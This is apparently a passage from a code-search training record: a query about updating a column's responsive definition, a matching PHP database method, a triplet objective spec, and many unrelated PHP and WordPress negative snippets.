"0.51598656", "0.5157204", "0.51560366", "0.51454043", "0.5144751", "0.5140341", "0.5138522", "0.5119934", "0.51169443", "0.51147085", "0.5110996", "0.5108372", "0.5095179", "0.50937885", "0.50887316", "0.50858366", "0.5083925", "0.50803125" ]
0.61290514
0
Update a responsive definition for column
public function updateResponsiveDefinition($site_id, $page_id, $id, $column_type, $size) { $sql = "UPDATE `user_site_page_structure_column_responsive` INNER JOIN `designer_column_type` ON `user_site_page_structure_column_responsive`.`column_type_id` = `designer_column_type`.`id` SET `size` = :size WHERE `user_site_page_structure_column_responsive`.`site_id` = :site_id AND `user_site_page_structure_column_responsive`.`page_id` = :page_id AND `user_site_page_structure_column_responsive`.`column_id` = :column_id AND `designer_column_type`.`column_type` = :column_type"; $stmt = $this->_db->prepare($sql); $stmt->bindValue(':site_id', $site_id); $stmt->bindValue(':page_id', $page_id); $stmt->bindValue(':column_id', $id); $stmt->bindValue(':column_type', $column_type); $stmt->bindValue(':size', $size); return $stmt->execute(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function addResponsiveDefinition($site_id, $page_id, $id, $column_type, $size)\n {\n $sql = \"INSERT INTO `user_site_page_structure_column_responsive` \n (\n `site_id`, \n `page_id`, \n `column_id`, \n `column_type_id`, \n `size`\n )\n VALUES\n (\n :site_id, \n :page_id, \n :column_id,\n (\n SELECT \n `id` \n FROM \n `designer_column_type` \n WHERE \n `column_type` = :column_type\n ),\n :size\n )\";\n $stmt = $this->_db->prepare($sql);\n $stmt->bindValue(':site_id', $site_id);\n $stmt->bindValue(':page_id', $page_id);\n $stmt->bindValue(':column_id', $id);\n $stmt->bindValue(':column_type', $column_type);\n $stmt->bindValue(':size', $size);\n\n return $stmt->execute();\n }", "function update_columns_cache()\n {\n $key = C_Photocrati_Transient_Manager::create_key('col_in_' . $this->get_table_name(), 'columns');\n global $wpdb;\n $this->_table_columns = array();\n $sql = \"SHOW COLUMNS FROM `{$this->get_table_name()}`\";\n foreach ($wpdb->get_results($sql) as $row) {\n $this->_table_columns[] = $row->Field;\n }\n C_Photocrati_Transient_Manager::update($key, $this->_table_columns);\n }", "public function setWidth(int $width): ModelDataTableColumnInterface;", "function settings_modify_matrix_column($data)\n\t{\n\t\tif ($data['matrix_action'] == 'delete')\n\t\t{\n\t\t\t// delete any relationships created by this column\n\t\t\t$this->EE->db->where('parent_col_id', $data['col_id'])\n\t\t\t ->delete('playa_relationships');\n\t\t}\n\t}", "public function addColumn()\n {\n if ($this->name || $this->timestamps) {\n $this->columns[] = [\n 'column' => $this->name,\n 'length' => $this->length,\n 'dataType' => $this->dataType,\n 'nullable' => $this->nullable,\n 'unsigned' => $this->unsigned,\n 'pk' => $this->pk,\n 'timestamps' => $this->timestamps,\n 'autoIncrement' => $this->autoIncrement,\n 'default' => $this->default,\n 'comment' => $this->comment,\n 'unique' => $this->unique,\n ];\n $this->reset();\n }\n if ($this->foreignKey) {\n $this->columns[] = [\n 'foreignKey' => $this->foreignKey,\n 'references' => $this->references,\n 'on' => $this->on,\n 'onUpdate' => $this->onUpdate,\n 'onDelete' => $this->onDelete,\n ];\n $this->reset();\n }\n }", "function settings_modify_column($data)\n\t{\n\t\tif ($data['ee_action'] == 'delete')\n\t\t{\n\t\t\t// delete any relationships created by this field\n\t\t\t$this->EE->db->where('parent_field_id', $data['field_id'])\n\t\t\t ->delete('playa_relationships');\n\t\t}\n\n\t\t// just return the default column settings\n\t\treturn parent::settings_modify_column($data);\n\t}", "function ReInitTableColumns()\n {\n if ($this->debug_mode)\n echo $this->ClassName . \"::ReInitTableColumns();\" . \"<HR>\";\n foreach ($this->form_fields as $prefix => $form) {\n foreach ($form as $i => $field) {\n foreach ($field as $param => $value) {\n //if found database parameters\n if (strpos($param, \"dbfield_\") !== false) {\n $columnparam = substr($param, strlen(\"dbfield_\"), strlen($param));\n $this->Storage->setColumnParameter($field[\"field_name\"], trim($columnparam), $value);\n }\n }\n }\n }\n }", "public function previewColumns();", "function tradeoff_column($definition)\n {\n return app(Models\\Problem\\Column::class)->setData($definition);\n }", "function wp_nav_menu_manage_columns()\n {\n }", "public function wp_nav_menu_manage_columns()\n {\n }", "public function getColumnDefinition($column){ }", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n\r\n $return = [];\r\n \r\n $raws = Form::column();\r\n $columns = [];\r\n foreach ($raws as $key => $item) {\r\n $columns[$key] = $item(new FormDb());\r\n }\r\n foreach ($columns as $key => $item) {\r\n\r\n $return[$key] = function (FormDb $column) use ($key, $item) {\r\n\r\n /** @var FormDb $item */\r\n $column->title = $item->title;\r\n $column->widget = $item->widget;\r\n $column->value = $item->value;\r\n //start: MurodovMirbosit 05.10.2020\r\n $column->data = $item->data;\r\n $column->dbType = $item->dbType;\r\n $column->readonly = $item->readonly;\r\n $column->readonlyWidget = $item->readonlyWidget;\r\n $column->valueWidget = $item->valueWidget;\r\n $column->filterWidget = $item->filterWidget;\r\n $column->dynaWidget = $item->dynaWidget;\r\n $column->options = $item->options;\r\n $column->valueOptions = $item->valueOptions;\r\n $column->filterOptions = $item->filterOptions;\r\n $column->dynaOptions = $item->dynaOptions;\r\n $column->fkTable = $item->fkTable;\r\n $column->fkQuery = $item->fkQuery;\r\n $column->fkOrQuery = $item->fkOrQuery;\r\n $column->fkAttr = $item->fkAttr;\r\n $column->fkAndQuery = $item->fkAndQuery;\r\n $column->fkMulti = $item->fkMulti;\r\n $column->autoValue = $item->autoValue;\r\n $column->auto = $item->auto;\r\n //end 19lines\r\n return $column;\r\n };\r\n }\r\n\r\n\r\n return $return;\r\n\r\n\r\n }", "protected function updateColumns($value)\r\n {\r\n if ($this->_orientation == orVertical) \r\n { \r\n if ($value > 0)\r\n $this->_columns = $value;\r\n else\r\n $this->_columns = 1;\r\n }\r\n else\r\n {\r\n $columns = count($this->_items);\r\n \r\n if ($columns > 0)\r\n $this->_columns = $columns;\r\n else\r\n $this->_columns = 1;\r\n }\r\n \r\n }", "function RGC_dashboard_columns() {\n add_screen_option(\n 'layout_columns',\n array(\n 'max' => 1,\n 'default' => 1\n )\n );\n}", "private function setupIfColumn() {\n \n Blade::directive('if_column', function($expression) {\n $col = $this->stringParamAsString($expression); //gets col\n return '<?php '\n .' if ( (isset($show_columns) && array_search('.$col.',$show_columns)!==FALSE) || '\n . '(isset($hide_columns) && array_search('.$col.',$hide_columns)===FALSE) || '\n .' (!isset($show_columns) && !isset($hide_columns)) ): ?>';\n\n });\n }", "protected function configureColumn(): void {\n\t\t$dataMode = $this->getGridOptions()['dataMode'];\n\t\t$this->valueDelegate = $this->columnOptions['value_delegate'];\n\t\t$this->queryPath = $this->columnOptions['query_path'];\n\t\t$this->filterQueryPath = $this->columnOptions['filter_query_path'];\n\t\t$this->orderable = AbstractColumnType::getBooleanValueDependingOnClientOrServer($this->columnOptions['orderable'], $dataMode);\n\t\t$this->filterable = AbstractColumnType::getBooleanValueDependingOnClientOrServer($this->columnOptions['filterable'], $dataMode);\n\t\t$this->searchable = AbstractColumnType::getBooleanValueDependingOnClientOrServer($this->columnOptions['searchable'], $dataMode);\n\t\t$this->identityProvider = $this->columnOptions['providesIdentity'];\n\t\t$this->serverSideOrderDelegate = $this->columnOptions['order_server_delegate'];\n\t\t$this->serverSideSearchDelegate = $this->columnOptions['search_server_delegate'];\n\n\t\tif($this->filterable && $this->columnOptions['filter_type'] !== null) {\n\t\t\t$this->filter = new Filter(\n\t\t\t\t$this->dependencyInjectionExtension->resolveFilterType($this->columnOptions['filter_type']),\n\t\t\t\t$this->dependencyInjectionExtension,\n\t\t\t\t$this->columnOptions['filter_options'],\n\t\t\t\t$this->columnOptions,\n\t\t\t\t$this->gridOptions,\n\t\t\t\t$this->dataSource\n\t\t\t);\n\t\t}\n\t}", "public function colWidth($column) {\n\t}", "public function getResponsiveCss(): string;", "public function updateColumns()\n\t{\n\t\treturn $this->updateColumns;\n\t}", "protected function modifyColumnConfiguration(ullColumnConfiguration $c)\n {\n }", "private function initColumns(){\n //Initialize our custom post type column management\n $this->cptWPDSCols = new Columns($this->wpdsPostType);\n \n //Remove our title\n $this->cptWPDSCols->removeColumn('title');\n \n //Add our content column\n $this->cptWPDSCols->addColumn('content', 'Content', 2);\n \n //Add our content column content\n $this->cptWPDSCols->addColumnPostContent('content');\n \n //Add our content column content\n $this->cptWPDSCols->addColumnOptionData('content', 'site_url');\n \n //Reposition column\n $this->cptWPDSCols->reorderColumn('content', 1);\n }", "private function _setColumns()\n {\n $this->columns = new Pike_Grid_DataSource_Columns();\n\n foreach ($this->_query->getFields() as $field) {\n $this->columns->add($field, null, $field);\n }\n }", "public function grid_settings_modify_column($data)\n {\n return $this->get_column_type($data, true);\n }", "public function updateColumn($form, FormStateInterface $form_state) {\n $form['column']['#default_value'] = '';\n $form['column']['#options'] = $this->findColumn($form_state->getValue('field_name'));\n\t\n\t//\\Drupal::logger('field_validation')->notice('123:' . $form_state->getValue('field_name'));\n\t// \\Drupal::logger('field_validation')->notice('123:' . var_export($form['column']['#options'], true));\n\t/*$form['column']['#options'] = array(\n\t 'value' => 'value',\n\t);\n\t*/\n\t// \\Drupal::logger('field_validation')->notice('123abc:' . var_export($form['column']['#options'], true));\n return $form['column'];\n\t//return $form;\n }", "function settings( $form, $id ) {\n\tif ( 'rich-text' !== $id ) {\n\t\treturn $form;\n\t}\n\t$form['general']['sections']['columns'] = [\n\t\t'title' => __( 'Columns', 'hnf' ),\n\t\t'fields' => [\n\t\t\t'columns' => [\n\t\t\t\t'type' => 'unit',\n\t\t\t\t'label' => __( 'Column Count', 'hnf' ),\n\t\t\t\t'maxlength' => '2',\n\t\t\t\t'size' => '3',\n\t\t\t\t'responsive' => [\n\t\t\t\t\t'default' => [\n\t\t\t\t\t\t'default' => '1',\n\t\t\t\t\t\t'medium' => '1',\n\t\t\t\t\t\t'responsive' => '1'\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-count',\n\t\t\t\t\t'unit' => ''\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_gap' => [\n\t\t\t\t'type' => 'unit',\n\t\t\t\t'label' => __( 'Column Gap', 'hnf' ),\n\t\t\t\t'maxlength' => '2',\n\t\t\t\t'size' => '3',\n\t\t\t\t'description' => 'px',\n\t\t\t\t'responsive' => [\n\t\t\t\t\t'default' => [\n\t\t\t\t\t\t'default' => '10',\n\t\t\t\t\t\t'medium' => '10',\n\t\t\t\t\t\t'responsive' => '10'\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-gap',\n\t\t\t\t\t'unit' => 'px'\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_rule_width' => [\n\t\t\t\t'type' => 'unit',\n\t\t\t\t'label' => __( 'Column Rule Width', 'hnf' ),\n\t\t\t\t'maxlength' => '2',\n\t\t\t\t'size' => '3',\n\t\t\t\t'description' => 'px',\n\t\t\t\t'responsive' => [\n\t\t\t\t\t'default' => [\n\t\t\t\t\t\t'default' => '0',\n\t\t\t\t\t\t'medium' => '0',\n\t\t\t\t\t\t'responsive' => '0'\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-rule-width',\n\t\t\t\t\t'unit' => 'px'\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_rule_type' => [\n\t\t\t\t'type' => 'select',\n\t\t\t\t'label' => __( 'Column Rule Style', 'hnf' ),\n\t\t\t\t'default' => 'solid',\n\t\t\t\t'options' => [\n\t\t\t\t\t'none' => __( 'None', 'hnf' ),\n\t\t\t\t\t'solid' => __( 'Solid', 'hnf' ),\n\t\t\t\t\t'dotted' => __( 'Dotted', 'hnf' ),\n\t\t\t\t\t'dashed' => __( 'Dashed', 'hnf' ),\n\t\t\t\t\t'double' => __( 'Double', 'hnf' ),\n\t\t\t\t\t'groove' => __( 'Groove', 'hnf' ),\n\t\t\t\t\t'ridge' => __( 'Ridge', 'hnf' ),\n\t\t\t\t\t'inset' => __( 'Inset', 'hnf' ),\n\t\t\t\t\t'outset' => __( 'Outset', 'hnf' )\n\t\t\t\t],\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-rule-style',\n\t\t\t\t\t'unit' => ''\n\t\t\t\t]\n\t\t\t],\n\t\t\t'column_rule_color' => [\n\t\t\t\t'type' => 'color',\n\t\t\t\t'label' => __( 'Column Rule Color', 'hnf' ),\n\t\t\t\t'default' => '#58595B',\n\t\t\t\t'preview' => [\n\t\t\t\t\t'type' => 'css',\n\t\t\t\t\t'selector' => '.fl-rich-text',\n\t\t\t\t\t'property' => 'column-rule-color'\n\t\t\t\t]\n\t\t\t]\n\t\t]\n\t];\n\treturn $form;\n}", "protected function applyWidth()\n {\n }", "public function modelColumn();", "function set_custom_edit_badge_columns($columns) {\n $columns['badge_image'] = 'Image';\n return $columns;\n}", "protected function setUpNewColumn()\n {\n $this->newColumn = clone $this->oldColumn;\n }", "protected function addVirtualColumns()\n {\n \n }", "function db2_field_display_size($stmt, $column)\n{\n}", "protected function addColumns()\n {\n parent::addColumns();\n\n foreach ($this->config['fields'] as $key => $values) {\n\n switch ($values['type']) {\n case 'text':\n $this->table->addColumn($key, 'string', array('length' => 256, 'default' => ''));\n break;\n case 'textarea':\n case 'select':\n $this->table->addColumn($key, 'text', array('default' => ''));\n break;\n case 'checkbox':\n $this->table->addColumn($key, 'boolean', array('default' => 0));\n break;\n default:\n $this->table->addColumn($key, 'text', array('default' => ''));\n }\n\n }\n }", "public function gridify(Column $column);", "public function modify()\r\n\t{\r\n\t\tif( ! $this->loaded())\r\n\t\t{\r\n\t\t\tthrow new Kohana_Exception('Unable to modify an unloaded column :col', array(\r\n\t\t\t\t'col'\t=> $this->name\r\n\t\t\t));\r\n\t\t}\r\n\t\t\r\n\t\t// Updates the existing column\r\n\t\tDB::alter($this->table->name)\r\n\t\t\t->modify($this->compile())\r\n\t\t\t->execute($this->table->database);\r\n\t}", "function wp_admin_viewport_meta()\n {\n }", "function updateSize(){\n $this->cols = exec(\"tput cols\");\n }", "public function addPreviewColumn($id);", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n return ZArrayHelper::merge(parent::column(), [\r\n \r\n 'user' => function (Form $column) {\r\n\r\n $column->title = Az::l('Пользователь');\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'amount' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество потоков');\r\n \r\n return $column;\r\n },\r\n \r\n \r\n \r\n\r\n\r\n\r\n ], $this->configs->replace);\r\n }", "function set_single_column() {\n\t$post_types = get_custom_post_types();\n\t// Comment the next 2 lines to exclude Page and Post.\n\t$post_types['page'] = 'page';\n\t$post_types['post'] = 'post';\n\n\tfunction single_column() {\n\t\treturn 1;\n\t}\n\n\tforeach ( $post_types as $post_type ) {\n\t\t$get_user_option_screen_layout = 'get_user_option_screen_layout_' . $post_type;\n\n\t\tadd_filter( $get_user_option_screen_layout, 'single_column');\n\t}\n}", "public function addColumns()\n {\n add_filter( 'manage_edit-' . $this->post_type . '_columns', array($this, 'editColumns') ) ; // Add or Remove a Column\n add_action( 'manage_' . $this->post_type . '_posts_custom_column', array($this, 'manageColumns') ); //Show and Modify Column Data\n add_filter( 'manage_edit-' . $this->post_type . '_sortable_columns', array($this, 'sortableColumns') ); // Flags sortable Columns\n add_action( 'load-edit.php', array($this, 'loadSortColumns') );\n }", "protected function applySizeClass(){\n foreach($this->getSizes() as $name => $size){\n $this->addClass($name . '-' . $size);\n }\n\n $this->addClass('column');\n\n return $this;\n }", "function set_video_screen_columns( $columns ) {\n $columns['video'] = 1;\n return $columns;\n}", "function yy_r35(){ $this->_retvalue = new SQL\\AlterTable\\ChangeColumn($this->yystack[$this->yyidx + -1]->minor->getName(), $this->yystack[$this->yyidx + -1]->minor, $this->yystack[$this->yyidx + 0]->minor); }", "function TS_VCSC_Testimonials_AdjustColumnWidths() {\r\n echo '<style type=\"text/css\">\r\n .column-previews {text-align: left; width: 175px !important; overflow: hidden;}\r\n .column-ids {text-align: left; width: 60px !important; overflow: hidden;}\r\n </style>';\r\n }", "function manage_columns( $column_name, $post_id ) {\n //global $post;\n switch ($column_name) {\n case \"type\":\n \t$type = rwmb_meta( 'type' , $post_id );\n \tif ( 'action' == $type ) {\n\n \t\t// this is stored as a metabox value\n $action \t\t= rwmb_meta( 'mbv_action' , $post_id );\n\n // get post field for this\n \t\t$menu_order \t= get_post_field( 'menu_order' , $post_id );\n\n if (!$action) $action = '-';\n \t\tif (!$menu_order) $menu_order = sprintf( '<span title=\"no priority set, will use 10\">?10</span>' , __( 'no priority set, will use 10' , 'text-domain' ) );\n\n\t \techo \"<p><code>{$action} <span style='margin-left: 10px;'>{$menu_order}</span></code></p>\";\n \t}\n\n break;\n } // end switch\n}", "function custom_edit_coupon_columns($columns) {\r\n\r\n $columns['coupon_type'] = esc_html__( 'Coupon', 'wp-coupon' );\r\n $columns['expires'] = esc_html__( 'Expires', 'wp-coupon' );\r\n $columns['stats'] = esc_html__( 'Votes / Clicks', 'wp-coupon' );\r\n\r\n\r\n //unset( $columns['author'] );\r\n // Move default columns to right\r\n if ( isset( $columns['comments'] ) ) {\r\n $title = $columns['comments'];\r\n unset( $columns['comments'] );\r\n $columns['comments'] = $title;\r\n }\r\n\r\n if ( isset( $columns['author'] ) ) {\r\n $title = $columns['author'];\r\n unset( $columns['author'] );\r\n $columns['author'] = $title;\r\n }\r\n\r\n if ( isset( $columns['date'] ) ) {\r\n $title = $columns['date'];\r\n unset( $columns['date'] );\r\n $columns['date'] = $title;\r\n }\r\n\r\n return $columns;\r\n }", "function wppb_add_extra_column_for_rf( $columns ){\r\n\t$columns['rf-shortcode'] = __( 'Shortcode', 'profile-builder' );\r\n\t\r\n\treturn $columns;\r\n}", "public function removeResponsiveDefinition($site_id, $page_id, $id, $column_type)\n {\n $sql = \"DELETE \n `uspscr`\n FROM \n `user_site_page_structure_column_responsive` `uspscr`\n INNER JOIN \n `designer_column_type` `dct` ON \n `uspscr`.`column_type_id` = `dct`.`id`\n WHERE \n `uspscr`.`site_id` = :site_id AND \n `uspscr`.`page_id` = :page_id AND \n `uspscr`.`column_id` = :column_id AND \n `dct`.`column_type` = :column_type\";\n $stmt = $this->_db->prepare($sql);\n $stmt->bindValue(':site_id', $site_id);\n $stmt->bindValue(':page_id', $page_id);\n $stmt->bindValue(':column_id', $id);\n $stmt->bindValue(':column_type', $column_type);\n\n return $stmt->execute();\n }", "public function setColumns()\r\n\t{\r\n\t\t$columns = array_filter($this->getRules(), function($rule) {\r\n\t\t\tif($rule instanceof ColumnInterface) {\r\n\t\t\t\treturn $rule;\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t\t$columns = array_map(function(ColumnInterface $rule) {\r\n\t\t\treturn $rule->getTitle();\r\n\t\t}, $columns);\r\n\r\n\t\t$this->columns = $columns;\r\n\t}", "function wooadmin_so_screen_layout_columns( $columns ) {\n $columns['dashboard'] = 1;\n return $columns;\n}", "public function display_admin_columns() {\n add_filter('manage_edit-comments_columns', array(&$this, 'add_comments_columns'));\n add_action('manage_comments_custom_column', array(&$this, 'add_comment_columns_content'), 10, 2);\n }", "public function setColWidth($column_start, $column_end, $width, $hidden = false, $format = null) {\n\t}", "function myPear_update11(){\n myPear_db()->qquery(\"UPDATE zzz_avatars SET av_address = '' WHERE (av_address != '' AND av_address IS NOT NULL)\",1);\n if (!myPear_db()->columnExists('av_zip','zzz_avatars')){\n myPear_db()->qquery(\"ALTER TABLE `zzz_avatars` ADD `av_zip` VARCHAR( 132 ) NOT NULL DEFAULT '' AFTER `av_address`\"); \n myPear_db()->reset_cache();\n }\n if (!myPear_db()->columnExists('l_class','zzz_lists')){\n myPear_db()->qquery(\"ALTER TABLE `zzz_lists` ADD `l_class` VARCHAR( 64 ) NOT NULL AFTER `l_parent`\",1);\n myPear_db()->qquery(\"ALTER TABLE `zzz_units` ADD `u_class` VARCHAR( 64 ) NOT NULL AFTER `u_parent`\",1); \n myPear_db()->reset_cache();\n } \n}", "function custom_hubpage_columns( $column ) {\r\n global $post;\r\n\r\n switch ( $column ) {\r\n case \"hub_title\" :\r\n $edit_link = get_edit_post_link( $post->ID );\r\n $title = _draft_or_post_title();\r\n $post_type_object = get_post_type_object( $post->post_type );\r\n $can_edit_post = current_user_can( $post_type_object->cap->edit_post, $post->ID );\r\n\r\n echo '<strong><a class=\"row-title\" href=\"'.$edit_link.'\">' . $title.'</a>';\r\n\r\n _post_states( $post );\r\n\r\n echo '</strong>';\r\n\r\n if ( $post->post_parent > 0 )\r\n echo '&nbsp;&nbsp;&larr; <a href=\"'. get_edit_post_link($post->post_parent) .'\">'. get_the_title($post->post_parent) .'</a>';\r\n\r\n // Excerpt view\r\n if (isset($_GET['mode']) && $_GET['mode']=='excerpt') echo apply_filters('the_excerpt', $post->post_excerpt);\r\n\r\n // Get actions\r\n $actions = array();\r\n\r\n $actions['edit'] = '<a href=\"' . get_edit_post_link( $post->ID, true ) . '\" title=\"' . esc_attr( __( 'Edit this item' ) ) . '\">' . __( 'Edit' ) . '</a>';\r\n\r\n if ( $can_edit_post && 'trash' != $post->post_status ) {\r\n $actions['inline hide-if-no-js'] = '<a href=\"#\" class=\"editinline\" title=\"' . esc_attr( __( 'Edit this item inline', WPC_CLIENT_TEXT_DOMAIN ) ) . '\">' . __( 'Quick&nbsp;Edit', WPC_CLIENT_TEXT_DOMAIN ) . '</a>';\r\n }\r\n if ( current_user_can( $post_type_object->cap->delete_post, $post->ID ) ) {\r\n if ( 'trash' == $post->post_status )\r\n $actions['untrash'] = \"<a title='\" . esc_attr( __( 'Restore this item from the Trash', WPC_CLIENT_TEXT_DOMAIN ) ) . \"' href='\" . wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-' . $post->post_type . '_' . $post->ID ) . \"'>\" . __( 'Restore', WPC_CLIENT_TEXT_DOMAIN ) . \"</a>\";\r\n elseif ( EMPTY_TRASH_DAYS )\r\n $actions['trash'] = \"<a class='submitdelete' title='\" . esc_attr( __( 'Move this item to the Trash', WPC_CLIENT_TEXT_DOMAIN ) ) . \"' href='\" . get_delete_post_link( $post->ID ) . \"'>\" . __( 'Trash', WPC_CLIENT_TEXT_DOMAIN ) . \"</a>\";\r\n if ( 'trash' == $post->post_status || !EMPTY_TRASH_DAYS )\r\n $actions['delete'] = \"<a class='submitdelete' title='\" . esc_attr( __( 'Delete this item permanently', WPC_CLIENT_TEXT_DOMAIN ) ) . \"' href='\" . get_delete_post_link( $post->ID, '', true ) . \"'>\" . __( 'Delete Permanently', WPC_CLIENT_TEXT_DOMAIN ) . \"</a>\";\r\n }\r\n if ( $post_type_object->public ) {\r\n if ( 'trash' != $post->post_status ) {\r\n $actions['view'] = '<a href=\"' . wpc_client_get_slug( 'hub_page_id' ) . $post->ID . '\" target=\"_blank\" title=\"' . esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;', WPC_CLIENT_TEXT_DOMAIN ), $title ) ) . '\" rel=\"permalink\">' . __( 'Preview', WPC_CLIENT_TEXT_DOMAIN ) . '</a>';\r\n }\r\n }\r\n $actions = apply_filters( 'post_row_actions', $actions, $post );\r\n\r\n echo '<div class=\"row-actions\">';\r\n\r\n $i = 0;\r\n $action_count = sizeof($actions);\r\n\r\n foreach ( $actions as $action => $link ) {\r\n ++$i;\r\n ( $i == $action_count ) ? $sep = '' : $sep = ' | ';\r\n echo \"<span class='$action'>$link$sep</span>\";\r\n }\r\n echo '</div>';\r\n\r\n get_inline_data( $post );\r\n\r\n break;\r\n\r\n case \"client\":\r\n $client = get_users( array( 'role' => 'wpc_client', 'meta_key' => 'wpc_cl_hubpage_id', 'meta_value' => $post->ID ) );\r\n\r\n if ( $client ) {\r\n echo $client[0]->user_login;\r\n }\r\n\r\n break;\r\n\r\n }\r\n }", "protected function _configureColumns()\n {\n if (empty($this->columns)) {\n $this->guessColumns();\n }\n $this->_sourceColumns = $this->columns;;\n\n $columnsByKey = [];\n foreach ($this->columns as $column) {\n $columnKey = $this->_getColumnKey($column);\n for ($j = 0; true; $j++) {\n $suffix = ($j) ? '_' . $j : '';\n $columnKey .= $suffix;\n if (!array_key_exists($columnKey, $columnsByKey)) {\n break;\n }\n }\n $columnsByKey[$columnKey] = $column;\n }\n\n $this->columns = $columnsByKey;\n }", "public function change()\r\n {\r\n $table = $this->table('financialv2');\r\n $table->addColumn('output_template', 'string', ['after'=>'csvbody'])\r\n ->addColumn('graph1', 'string', ['after'=>'output_template'])\r\n ->addColumn('graph2', 'string', ['after'=>'graph1'])\r\n ->addColumn('graph1_data', 'text', ['after'=>'graph2','limit'=>MysqlAdapter::TEXT_LONG,'null'=>true])\r\n ->addColumn('graph2_data', 'text', ['after'=>'graph1_data','limit'=>MysqlAdapter::TEXT_LONG,'null'=>true])\r\n ->addColumn('table1', 'string', ['after'=>'graph2'])\r\n ->addColumn('table2', 'string', ['after'=>'table1'])\r\n ->update();\r\n }", "protected function widenResizeMagic(): void\n {\n $this->image->widen($this->widenResize, function ($constraint) {\n $constraint->upsize();\n });\n }", "function mc_start_table_responsive_wrapper() {\n echo '<div class=\"table-responsive\">';\n}", "public static function resize(){\n\n}", "function test_responsive_galleries_shortcode_atts_gallery_1_column() {\n\t\t$original = array(\n\t\t\t'size' => 'thumbnail',\n\t\t\t'columns' => 1,\n\t\t\t'link' => 'none',\n\t\t);\n\n\t\t$expected = array(\n\t\t\t'size' => 'responsive_gallery_1col',\n\t\t\t'columns' => 1,\n\t\t\t'link' => 'file',\n\t\t);\n\n\t\t$this->assertSame( $expected, BU\\Themes\\Responsive_Framework\\Galleries\\shortcode_atts_gallery( $original ) );\n\t}", "public function change()\n {\n\t\t$table=$this->table('comp_front_sources')\n\t\t\t\t\t->addColumn('main_title','string',array('null'=>true,'default'=>'标题','comment'=>'主标题'))\n\t\t\t\t\t->addColumn('sub_title','string',array('null'=>true,'comment'=>'副标题'))\n\t\t\t\t\t->addColumn('main_pic','string',array('null'=>true,'comment'=>'主要图片'))\n\t\t\t\t\t->addColumn('secondary_pic','string',array('null'=>true,'comment'=>'次要图片'))\n\t\t\t\t\t->addColumn('main_content','string',array('null'=>true,'default'=>'暂时没有内容','comment'=>'主要内容'))\n\t\t\t\t\t->addColumn('secondary_content','string',array('null'=>true,'comment'=>'次要内容'))\n\t\t\t\t\t->addColumn('main_figure','string',array('null'=>true,'comment'=>'主要数值'))\n\t\t\t\t\t->addColumn('secondary_figure','string',array('null'=>true,'comment'=>'次要数值'))\n\t\t\t\t\t->addColumn('parameter','string',array('null'=>true,'comment'=>'参数'))\n\t\t\t\t\t->addColumn('category','string',array('null'=>true,'default'=>'未分类','comment'=>'分类'))\n\t\t\t\t\t->addColumn('description','string',array('null'=>true,'comment'=>'备注'))\n\t\t\t\t\t->addColumn('created_at','integer', array('null'=>true))\n\t\t\t\t\t->save();\n\t}", "function test_responsive_migrate_post_display_options() {\n\t\tupdate_option( 'flexi_display', array( 'cat' => 1, 'tag' => 1, 'author' => 1 ) );\n\n\t\t$this->assertTrue( responsive_migrate_post_display_options( false ) );\n\t\t$this->assertEquals( 'categories,tags,author', get_option( 'burf_setting_post_display_options' ) );\n\t}", "public function responsiveWidths($site_id, $page_id, $id)\n {\n $sql = \"SELECT \n `uspscr`.`size` AS `width`, \n `dct`.`column_type`\n FROM \n `user_site_page_structure_column_responsive` `uspscr` \n INNER JOIN \n `designer_column_type` dct ON \n `uspscr`.`column_type_id` = `dct`.`id` \n WHERE \n `uspscr`.`site_id` = :site_id AND \n `uspscr`.`page_id` = :page_id AND \n `uspscr`.`column_id` = :column_id\";\n $stmt = $this->_db->prepare($sql);\n $stmt->bindValue(':site_id', $site_id);\n $stmt->bindValue(':page_id', $page_id);\n $stmt->bindValue(':column_id', $id);\n $stmt->execute();\n\n $result = $stmt->fetchAll();\n\n $columns = array(\n 'xs' => false,\n 'sm' => false,\n 'lg' => false,\n );\n\n foreach ($result as $row) {\n $columns[$row['column_type']] = intval($row['width']);\n }\n\n return $columns;\n }", "function yy_r34(){ $this->_retvalue = new SQL\\AlterTable\\ChangeColumn($this->yystack[$this->yyidx + -2]->minor, $this->yystack[$this->yyidx + -1]->minor, $this->yystack[$this->yyidx + 0]->minor); }", "function dmlChangeColumnType () {\r\n\t\t// Create connection\r\n\t\t$conn = new mysqli($GLOBALS['servername'], $GLOBALS['username'], $GLOBALS['password'], $GLOBALS['dbname']);\r\n\t\t// Check connection\r\n\t\tif ($conn->connect_error) {\r\n\t\t\tdie(\"Connection failed: \" . $conn->connect_error);\r\n\t\t} \r\n\r\n\t\t$sql = \"ALTER TABLE tbldmlmapcontent MODIFY CntField7 MEDIUMTEXT\";\r\n\r\n\t\tif ($conn->query($sql) === TRUE) {\r\n\t\t\techo 1;\r\n\t\t} else {\r\n\t\t\techo 0;\r\n\t\t}\r\n\t\t\r\n\t\t$conn->close();\r\n\t}", "protected function setUpOldColumn()\n {\n return new Column('foo', Type::getType(Type::STRING));\n }", "function responsive_save_layout_post_metadata(){\n\tglobal $post;\n\tif ( ! isset( $post ) || ! is_object( $post ) ) 